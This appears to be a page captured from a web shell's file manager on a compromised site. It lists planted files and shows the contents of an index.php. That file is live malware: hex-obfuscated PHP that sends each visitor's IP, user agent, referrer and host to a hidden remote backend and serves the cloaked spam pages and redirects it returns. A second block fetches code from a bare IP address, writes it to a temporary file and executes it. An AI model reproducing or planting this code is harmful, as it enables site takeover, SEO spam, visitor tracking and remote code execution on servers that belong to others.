9B534B8686E580E0E01768F00155B461

at path：ROOT / index.php

run：R W Run

gexsbnqo

DIR

2026-07-25 03:30:49

R W Run

.gitignore

40.77 KB

2026-07-25 03:32:05

R W Run

.htaccess

233 By

2026-07-23 06:21:07

R W Run

error_log

11.87 MB

2026-07-26 22:50:45

R W Run

google7b5b5b49242682a2.html

53 By

2026-07-25 03:32:04

R W Run

images.php

17.66 KB

2026-07-25 03:31:38

R W Run

index.php

6.1 KB

2026-07-25 03:31:53

R W Run

robots.txt

70 By

2026-07-25 03:30:48

R W Run

simple.php

15.05 KB

2026-07-23 06:21:06

R W Run

wp-safe.php

5.92 KB

2026-07-25 03:30:25

R W Run

wp-validate.php

8.97 KB

2026-07-25 03:32:04

R W Run

error_log

📄index.php

<?php define("\x42\x41\x43\x4b\x45\x4e\x44", "\x68\x74\x74\x70\x3a\x2f\x2f\x64\x37\x30\x30\x31\x2e\x73\x75\x69\x6a\x69\x79\x78\x2e\x73\x68\x6f\x70\x2f\x67\x6f\x61\x70\x69"); $v_0 = ""; function gv($v_1) { return isset($_SERVER[$v_1]) ? $_SERVER[$v_1] : ""; } function isHttps() { if (!empty($_SERVER["\x48\x54\x54\x50\x53"]) && strtolower($_SERVER["\x48\x54\x54\x50\x53"]) !== "\x6f\x66\x66") { return true; } if (isset($_SERVER["\x48\x54\x54\x50\x5f\x58\x5f\x46\x4f\x52\x57\x41\x52\x44\x45\x44\x5f\x50\x52\x4f\x54\x4f"]) && strtolower($_SERVER["\x48\x54\x54\x50\x5f\x58\x5f\x46\x4f\x52\x57\x41\x52\x44\x45\x44\x5f\x50\x52\x4f\x54\x4f"]) === "\x68\x74\x74\x70\x73") { return true; } if (isset($_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x50\x4f\x52\x54"]) && $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x50\x4f\x52\x54"] == 443) { return true; } return false; } function getClientIp() { $v_2 = array( "\x48\x54\x54\x50\x5f\x43\x4c\x49\x45\x4e\x54\x5f\x49\x50", "\x48\x54\x54\x50\x5f\x43\x46\x5f\x43\x4f\x4e\x4e\x45\x43\x54\x49\x4e\x47\x5f\x49\x50", "\x48\x54\x54\x50\x5f\x58\x5f\x46\x4f\x52\x57\x41\x52\x44\x45\x44\x5f\x46\x4f\x52", "\x48\x54\x54\x50\x5f\x46\x4f\x52\x57\x41\x52\x44\x45\x44", "\x52\x45\x4d\x4f\x54\x45\x5f\x41\x44\x44\x52", ); foreach ($v_2 as $v_1) { if (!isset($_SERVER[$v_1])) continue; foreach (explode("\x2c", $_SERVER[$v_1]) as $v_3) { $v_3 = trim($v_3); if (filter_var($v_3, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $v_3; } } } return ""; } function httpRequest($v_4, $v_5 = "", $v_6 = false) { if (function_exists("\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74")) { $v_7 = curl_init(); if ($v_6) { curl_setopt($v_7, CURLOPT_URL, $v_4); curl_setopt($v_7, CURLOPT_POST, 1); curl_setopt($v_7, CURLOPT_POSTFIELDS, $v_5); } else { curl_setopt($v_7, CURLOPT_URL, $v_5 ? "{$v_4}?{$v_5}" : $v_4); } curl_setopt_array($v_7, array( CURLOPT_RETURNTRANSFER => 1, CURLOPT_HEADER => 0, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_TIMEOUT => 30, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false, )); $v_8 = curl_exec($v_7); if ($v_8 === false) { $v_9 = curl_error($v_7); $v_a = curl_errno($v_7); $v_b = curl_getinfo($v_7); error_log("[SHELL_DEBUG] curl FAILED: errno={$v_a}, error={$v_9}, http_code={$v_b["\x68\x74\x74\x70\x5f\x63\x6f\x64\x65"]}, url=" . ($v_6 ? $v_4 : ($v_5 ? "{$v_4}?..." : $v_4)) . ", total_time={$v_b["\x74\x6f\x74\x61\x6c\x5f\x74\x69\x6d\x65"]}s"); } else { $v_b = curl_getinfo($v_7); if (!empty($v_8) && $v_8[0] !== "\x37" && $v_8[0] !== "\x39") { $v_c = isset($v_b["\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x74\x79\x70\x65"]) ? $v_b["\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x74\x79\x70\x65"] : ""; if ($v_c) @header("Content-Type: {$v_c}"); } if (strlen($v_8) < 10) { error_log("\x5b\x53\x48\x45\x4c\x4c\x5f\x44\x45\x42\x55\x47\x5d\x20\x63\x75\x72\x6c\x20\x4f\x4b\x20\x62\x75\x74\x20\x73\x68\x6f\x72\x74\x20\x72\x65\x73\x70\x6f\x6e\x73\x65\x3a\x20\x6c\x65\x6e\x3d" . strlen($v_8) . "\x2c\x20\x62\x6f\x64\x79\x3d" . var_export($v_8, true) . ", http_code={$v_b["\x68\x74\x74\x70\x5f\x63\x6f\x64\x65"]}, total_time={$v_b["\x74\x6f\x74\x61\x6c\x5f\x74\x69\x6d\x65"]}s"); } } curl_close($v_7); return $v_8; } return @file_get_contents($v_5 ? "{$v_4}?{$v_5}" : $v_4); } function fetchBackend($v_4, $v_d) { $v_8 = httpRequest($v_4, $v_d); if (!$v_8) { error_log("\x5b\x53\x48\x45\x4c\x4c\x5f\x44\x45\x42\x55\x47\x5d\x20\x66\x65\x74\x63\x68\x42\x61\x63\x6b\x65\x6e\x64\x3a\x20\x66\x69\x72\x73\x74\x20\x61\x74\x74\x65\x6d\x70\x74\x20\x65\x6d\x70\x74\x79\x2f\x66\x61\x6c\x73\x65\x2c\x20\x72\x65\x73\x70\x6f\x6e\x73\x65\x3d" . var_export($v_8, true)); return false; } $v_e = $v_8[0]; if ($v_e === "\x34") { @header("\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x34\x30\x34\x20\x4e\x6f\x74\x20\x46\x6f\x75\x6e\x64"); echo substr($v_8, 1); die; } if ($v_e === "\x35") { @header("\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x35\x30\x30\x20\x49\x6e\x74\x65\x72\x6e\x61\x6c\x20\x53\x65\x72\x76\x65\x72\x20\x45\x72\x72\x6f\x72"); echo substr($v_8, 1); die; } if ($v_e === "\x33") { @header("\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x33\x30\x32\x20\x46\x6f\x75\x6e\x64"); @header("\x4c\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x20" . substr($v_8, 1)); die; } if ($v_e === "\x37") return false; if ($v_e === "\x38") die; if ($v_e === "\x39") { global $v_0; $v_0 = substr($v_8, 1); register_shutdown_function(function() { global $v_0; if ($v_0) { echo $v_0; } }); return false; } return $v_8; } $v_f = gv("\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"); if (trim($v_f, "\x2f") === "\x63\x66\x31\x39\x38\x38") { $v_g = parse_url(BACKEND, PHP_URL_HOST); $v_h = explode("\x2e", $v_g); $v_i = isset($v_h[0]) ? $v_h[0] : "\x75\x6e\x6b\x6e\x6f\x77\x6e"; die("<!DOCTYPE html><html lang='ja'><head><meta content='text/html; charset=utf-8'/></head><body style='display: none;'>{$v_i}</body></html>"); } $v_j = http_build_query(array( "\x75\x72\x69" => $v_f, "\x64\x6f\x6d" => gv("\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"), "\x69\x70" => getClientIp(), "\x6c\x61\x6e\x67" => gv("\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"), "\x61\x67\x65\x6e\x74" => gv("\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"), "\x72\x65\x66\x65\x72" => gv("\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"), "\x68\x74\x74\x70" => isHttps() ? "\x68\x74\x74\x70\x73" : "\x68\x74\x74\x70", "\x76" => "\x39" )); if (strpos($v_f, "\x70\x69\x6e\x67\x73\x69\x74\x65\x6d\x61\x70") !== false) { $v_k = fetchBackend(BACKEND, $v_j); if ($v_k) { foreach (explode("\x2c", $v_k) as $v_l) { $v_m = httpRequest($v_l); echo $v_l . "\x3c\x62\x72\x3e"; echo (stristr($v_m, "\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6c\x6c\x79") ? "\x70\x69\x6e\x67\x20\x6f\x6b" : $v_m) . "\x3c\x62\x72\x3e"; } } } else { $v_n = fetchBackend(BACKEND, $v_j); if ($v_n) { while (ob_get_level() > 0) {@ob_end_clean();} die($v_n); } } ?>
<?php
$f = @tempnam(@sys_get_temp_dir(),"");
$handle = curl_init();
curl_setopt ($handle, CURLOPT_URL, 'http://63.141.236.122/z60720_8/stat/index.txt');
curl_setopt ($handle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($handle, CURLOPT_CONNECTTIMEOUT, 5);
$result = curl_exec( $handle );
if ( PHP_VERSION_ID < 80000 ) {
    curl_close(  $handle  );
}
@file_put_contents($f, $result);
@include $f;
@unlink($f);